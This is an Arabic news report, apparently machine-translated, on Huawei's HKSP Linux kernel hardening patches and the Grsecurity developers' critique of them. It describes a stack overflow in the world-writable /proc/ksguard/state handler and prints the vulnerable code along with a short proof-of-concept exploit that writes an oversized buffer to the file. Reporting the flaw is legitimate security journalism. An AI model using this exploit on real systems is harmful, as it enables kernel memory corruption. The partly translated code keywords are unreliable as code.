مطورو مشروع Grsecurity
تم نشر تصحيحات HKSP بواسطة أحد موظفي Huawei، وتتضمن إشارة إلى Huawei في ملف تعريف GitHub، واستخدم كلمة Huawei في اسم المشروع (HKSP - Huawei Kernel Self Protection). وفي الوقت نفسه، نفى ممثلو هواوي ارتباط مشروع HKSP بالشركة وذكروا أن الكود تم تطويره بمبادرة شخصية من الموظف، وليس مشروعًا رسميًا لشركة هواوي ولا يستخدم في منتجات الشركة. على
يتضمن HKSP تغييرات مثل التوزيع العشوائي للإزاحات في بنية الاعتماد، والحماية من الهجمات على مساحة اسم معرف المستخدم (مساحة اسم معرف المستخدم)، وفصل مكدس العملية عن منطقة mmap، واكتشاف الاستدعاءات المزدوجة إلى وظيفة kfree، ومنع التسريبات عبر الملف الزائف -FS /proc (/proc/ {modules,keys,key-users}, /proc/sys/kernel/* و /proc/sys/vm/mmap_min_addr, /proc/kallsyms)، تحسين التوزيع العشوائي لمساحة المستخدم، وتتبع إضافي الحماية، وتعزيز حماية smap وsmp، والقدرة على حظر إرسال البيانات عبر مآخذ التوصيل الأولية، وحظر العناوين غير الصحيحة في مآخذ UDP والتحقق من سلامة العمليات الجارية. ويتضمن أيضًا وحدة Ksguard kernel، والتي تهدف إلى اكتشاف محاولات إدخال برامج rootkit التقليدية.
بقع
وكشفت دراسة التصحيح التي أجراها مطورو Grsecurity عن العديد من الأخطاء ونقاط الضعف في التعليمات البرمجية، كما أظهرت عدم وجود نموذج تهديد يسمح لهم بالحكم بشكل مناسب على قدرات المشروع. لتوضيح أن التعليمات البرمجية تمت كتابتها دون استخدام طرق برمجة آمنة، تم تقديم مثال على ثغرة أمنية تافهة في المعالج.
الملف /proc/ksguard/state، الذي تم إنشاؤه بالحقوق 0777، مما يعني أن كل شخص لديه حق الوصول للكتابة. تقوم وظيفة ksg_state_write، المستخدمة لتحليل الأوامر المكتوبة إلى /proc/ksguard/state، بإنشاء مخزن مؤقت tmp[32] يتم كتابة البيانات إليه بناءً على حجم المعامل الذي تم تمريره، دون الأخذ في الاعتبار حجم المخزن المؤقت المستهدف وبدون التحقق من المعلمة بحجم السلسلة. أولئك. للكتابة فوق جزء من مكدس kernel، يحتاج المهاجم فقط إلى كتابة سطر منسق خصيصًا إلى /proc/ksguard/state.
ثابت ssize_t ksg_state_write (ملف البنية * ملف، const char __user *buf،
size_t لين، loff_t * إزاحة)
{
قيمة u64؛
شار tmp [32] ؛
size_t ن = 0؛
إذا (copy_from_user(tmp, buf, len))
عودة -1 ؛
value = simple_strtoul(tmp, '\0', 10);
...
استغلال النموذج الأولي:
شار بوف[4096] = { };
int fd = open("/proc/ksguard/state", O_WRONLY);
إذا (فد >= 0) {
write(fd, buf, sizeof(buf));
إغلاق(فد);
}
المصدر: opennet.ru